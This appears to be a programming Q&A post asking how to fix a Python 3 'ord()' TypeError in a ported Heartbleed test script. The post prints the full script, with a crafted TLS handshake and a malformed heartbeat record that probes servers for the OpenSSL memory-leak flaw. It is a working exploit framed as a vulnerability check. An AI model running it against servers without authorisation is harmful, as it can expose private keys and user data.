title: Python3 understanding ord() in following script... “TypeError: ord() expected string of length 1, but int found”
body: <p>I have the following script, from a python 2.x based open project:</p>
  
  <pre><code># Heavily based on the work of Jared Stafford 
  
  import sys
  import struct
  import socket
  import time
  import select
  import codecs
  
  decode_hex = codecs.getdecoder('hex_codec')
  
  
  def h2bin(x):
      return decode_hex(x.replace(' ', '').replace('\n', ''))[0]
  
  hello = h2bin('''
  16 03 02 00  dc 01 00 00 d8 03 02 53
  43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  00 0f 00 01 01
  ''')
  
  hb = h2bin('''
  18 03 02 00 03
  01 00 01
  aa aa aa aa aa aa aa aa  aa aa aa aa aa aa aa aa
  aa aa aa aa aa aa aa aa  aa aa aa aa aa aa aa aa
  ''')
  
  
  def recvall(s, length, timeout=5):
      endtime = time.time() + timeout
      rdata = b''
      remain = length
      while remain &gt; 0:
          rtime = endtime - time.time()
          if rtime &lt; 0:
              return None
          r, w, e = select.select([s], [], [], 5)
          if s in r:
              data = s.recv(remain)
              # EOF?
              if not data:
                                  return None
              rdata += data
              remain -= len(data)
      return rdata
  
  
  def recvmsg(s):
      hdr = recvall(s, 5)
      if hdr is None:
          return None, None, None
      typ, ver, ln = struct.unpack('&gt;BHH', hdr)
      pay = recvall(s, ln, 1)
      if pay is None:
          return None, None, None
      return typ, ver, pay
  
  
  def hit_hb(s):
      s.send(hb)
      while True:
          typ, ver, pay = recvmsg(s)
          if typ is None:
              return False
  
          if typ == 24:
              if len(pay) &gt; 3:
                  return True
              else:
                  return False
  
          if typ == 21:
              return False
  
  
  def test_heartbleed(url):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sys.stdout.flush()
      s.connect((url, 443))
      sys.stdout.flush()
      s.send(hello)
      sys.stdout.flush()
      while True:
          typ, ver, pay = recvmsg(s)
          if typ == None:
              return
          if typ == 22 and ord(pay[0]) == 0x0E:
              break
  
      s.send(hb)
      return hit_hb(s)
  </code></pre>
  
  <p>The change to handle the script with Python3 was in:</p>
  
  <pre><code>def recvall(s, length, timeout=5):
      endtime = time.time() + timeout
      rdata = b''
  </code></pre>
  
  <p>The rdata = <strong>b</strong>''</p>
  
  <p>But if I call the script with an url, I get the following error:</p>
  
  <blockquote>
    <p>ord() expected string of length 1, but int found
    Specific part:</p>
  </blockquote>
  
  <pre><code>if typ == 22 and ord(pay[0]) == 0x0E:
  </code></pre>
  
  <p>How can I handle this?</p>
  
  <p>Thanks for every help!</p>